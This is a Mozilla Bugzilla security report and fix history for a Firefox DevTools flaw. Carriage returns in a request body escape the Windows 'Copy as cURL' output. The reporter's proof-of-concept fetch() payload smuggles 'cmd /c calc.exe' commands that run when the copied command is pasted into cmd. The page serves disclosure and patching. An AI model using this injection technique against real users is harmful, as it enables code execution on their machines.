Closed Bug 1986142 (CVE-2025-11713) Opened 1 year ago Closed 11 months ago

Potential local code execution in “Copy as cURL” command

Categories

(DevTools :: Netmonitor, defect, P2)

Unspecified
Windows
defect

Tracking

(firefox-esr115 wontfix, firefox-esr140144+ fixed, firefox143 wontfix, firefox144+ fixed, firefox145+ fixed)

RESOLVED FIXED
145 Branch
Tracking Status
firefox-esr115 --- wontfix
firefox-esr140 144+ fixed
firefox143 --- wontfix
firefox144 + fixed
firefox145 + fixed

People

(Reporter: sas.kunz, Assigned: bomsy)

References

(Blocks 1 open bug)

Details

(Keywords: csectype-priv-escalation, reporter-external, sec-moderate, Whiteboard: [client-bounty-form][adv-main144+][adv-esr140.4+])

User Story

CVE credit in c16

Attachments

(5 files)

the vulnerability like :
https://bugzilla.mozilla.org/show_bug.cgi?id=1962301

Steps to reproduce the problem

  1. Copy and run the payload in console :
    fetch("https://example.com/postit", { "credentials": "omit", "headers": { "Accept-Language": "en-US", "Content-Type": "text/plain", }, "body": "query=evil\n\ncmd /c calc1.exe\t\r\t calc2.exe \t calc3.exe \rcalc.exe\rcalc.exe\r calc7.exe \rt\r\t calc2.exe \t calc3.exe \r", "method": "POST", });
  2. Copy the request with copy as curl (windows)
  3. Paste on the windows cmd you can see calc triggers

Firefox: Nightly 144.0a1 (2025-08-29) (64-bit)
OS: WIndows 11

Flags: sec-bounty?
Component: Security → Netmonitor
Product: Firefox → DevTools
OS: Unspecified → Windows

The severity field is not set for this bug.
:bomsy, could you have a look please?

For more information, please visit BugBot documentation.

Flags: needinfo?(hmanilla)

This looks like a duplicate of Bug 1987656

Status: NEW → RESOLVED
Closed: 1 year ago
Duplicate of bug: 1987656
Flags: needinfo?(hmanilla)
Resolution: --- → DUPLICATE

The bug https://bugzilla.mozilla.org/show_bug.cgi?id=1987656 should be a duplicate of my bug because my bug has a smaller id (https://bugzilla.mozilla.org/show_bug.cgi?id=1986142)

Status: RESOLVED → REOPENED
No longer duplicate of bug: 1987656
Flags: needinfo?(hmanilla)
Flags: needinfo?(dveditz)
Resolution: DUPLICATE → ---
Duplicate of this bug: 1987656
Attached file (secure)

While reverting all the work related to cross platform escaping of curl (See Bug 1976589), i tried to cleanup the
escaping of new line characters, but introduced carriage returns (\r).

This patch reverts back to the original fix from Bug 1968414

Assignee: nobody → hmanilla
Flags: needinfo?(hmanilla)
Severity: -- → S3
Priority: -- → P2
Pushed by hmanilla@mozilla.com: https://github.com/mozilla-firefox/firefox/commit/b7fce3e36d02 https://hg.mozilla.org/integration/autoland/rev/b56d2212c3f0 [devtools] Properly escape all new lines characters (make sure no carraige returns) r=devtools-reviewers,ochameau
Pushed by agoloman@mozilla.com: https://github.com/mozilla-firefox/firefox/commit/fb9f9701a758 https://hg.mozilla.org/integration/autoland/rev/57ac1689ebf4 Revert "Bug 1986142 - [devtools] Properly escape all new lines characters (make sure no carraige returns) r=devtools-reviewers,ochameau" for causing xpc failures @test_curl.js.

Backed out for causing xpc failures @test_curl.js.

Flags: needinfo?(hmanilla)

Fixed the issue.

Flags: needinfo?(hmanilla)
Pushed by hmanilla@mozilla.com: https://github.com/mozilla-firefox/firefox/commit/945a5e8dd775 https://hg.mozilla.org/integration/autoland/rev/bd9bf1190718 [devtools] Properly escape all new lines characters (make sure no carraige returns) r=devtools-reviewers,ochameau
Pushed by chorotan@mozilla.com: https://github.com/mozilla-firefox/firefox/commit/8552003d6c35 https://hg.mozilla.org/integration/autoland/rev/4c2643803732 Revert "Bug 1986142 - [devtools] Properly escape all new lines characters (make sure no carraige returns) r=devtools-reviewers,ochameau" for causing xpcshell failures on test_curl.js

Backed out for causing xpcshell failures on test_curl.js:

TEST-UNEXPECTED-FAIL | devtools/client/shared/test/xpcshell/test_curl.js | - proper multipart data present in curl output - "--data-binary ^\n ^\"------------14808^\n\nContent-Disposition: form-data; name=^\\^\"field_one^\\^\"^\n\n^\n\nvalue_one^\n\n------------14808^\n\nContent-Disposition: form-data; name=^\\^\"field_two^\\^\"^\n\n^\n\nvalue two^\n\n------------14808--^\n\n^\"" == "--data-binary ^\n ^\"------------14808\\r\\nContent-Disposition: form-data; name=^\\^\"field_one^\\^\"\\r\\n\\r\\nvalue_one\\r\\n------------14808\\r\\nContent-Disposition: form-data; name=^\\^\"field_two^\\^\"\\r\\n\\r\\nvalue two\\r\\n------------14808--\\r\\n^\""

Flags: needinfo?(hmanilla)
Pushed by hmanilla@mozilla.com: https://github.com/mozilla-firefox/firefox/commit/5210ffad6e20 https://hg.mozilla.org/integration/autoland/rev/39b818c6d66d [devtools] Properly escape all new lines characters (make sure no carraige returns) r=devtools-reviewers,ochameau
Flags: needinfo?(hmanilla)
Group: firefox-core-security → core-security-release
Status: REOPENED → RESOLVED
Closed: 1 year ago11 months ago
Resolution: --- → FIXED
Target Milestone: --- → 145 Branch

if this bug gets a cve can the credit be given to:
hafiizh (https://www.linkedin.com/in/hafiizh-7aa6bb31) & kang ali (https://www.linkedin.com/in/mohammad-ali-syarief)?

Flags: needinfo?(tom)

Yes

User Story: (updated)
Flags: needinfo?(tom)
Duplicate of this bug: 1991766

Please nominate this for Beta & ESR140 uplift.

Flags: needinfo?(hmanilla)
Flags: in-testsuite+
Duplicate of this bug: 1991904

firefox-beta Uplift Approval Request

  • User impact if declined: Can potentially compromise user machine if user runs certain curl commands.
  • Code covered by automated testing: yes
  • Fix verified in Nightly: yes
  • Needs manual QE test: no
  • Steps to reproduce for manual QE testing:
  • Risk associated with taking this patch: low
  • Explanation of risk level: Small JavaScript change to escape curl properly for Windows
  • String changes made/needed: None
  • Is Android affected?: no
Attachment #9517528 - Flags: approval-mozilla-beta?
Attached file (secure)

While reverting all the work related to cross platform escaping of curl (See Bug 1976589), i tried to cleanup the
escaping of new line characters, but introduced carriage returns (\r).

This patch reverts back to the original fix from Bug 1968414

Original Revision: https://phabricator.services.mozilla.com/D265397

firefox-esr140 Uplift Approval Request

  • User impact if declined: Can potentially compromise user machine if user runs certain curl commands.
  • Code covered by automated testing: yes
  • Fix verified in Nightly: yes
  • Needs manual QE test: no
  • Steps to reproduce for manual QE testing:
  • Risk associated with taking this patch: low
  • Explanation of risk level: Small JavaScript change to escape curl properly for Windows
  • String changes made/needed: None
  • Is Android affected?: no
Attachment #9517529 - Flags: approval-mozilla-esr140?
Attached file (secure)

While reverting all the work related to cross platform escaping of curl (See Bug 1976589), i tried to cleanup the
escaping of new line characters, but introduced carriage returns (\r).

This patch reverts back to the original fix from Bug 1968414

Original Revision: https://phabricator.services.mozilla.com/D265397

Flags: needinfo?(hmanilla)
Flags: sec-bounty? → sec-bounty+
Attachment #9517528 - Flags: approval-mozilla-beta? → approval-mozilla-beta+
Attachment #9517529 - Flags: approval-mozilla-esr140? → approval-mozilla-esr140+
QA Whiteboard: [sec] [uplift] [qa-triage-done-c145/b144]
Whiteboard: [client-bounty-form] → [client-bounty-form][adv-main144+r][adv-esr140.4+r]
Whiteboard: [client-bounty-form][adv-main144+r][adv-esr140.4+r] → [client-bounty-form][adv-main144+][adv-esr140.4+]
Attached file advisory.txt
Flags: needinfo?(dveditz)

if this bug gets a cve can the credit be given to:
hafiizh (https://www.linkedin.com/in/hafiizh-7aa6bb31) & kang ali (https://www.linkedin.com/in/mohammad-ali-syarief)?

Flags: needinfo?(dveditz)
Alias: CVE-2025-11713

Yes, I will update momentarily.

Flags: needinfo?(dveditz)
Duplicate of this bug: 1995610
Blocks: curl
Group: core-security-release
You need to log in before you can comment on or make changes to this bug.

Attachment

General

Creator:
Created:
Updated:
Size: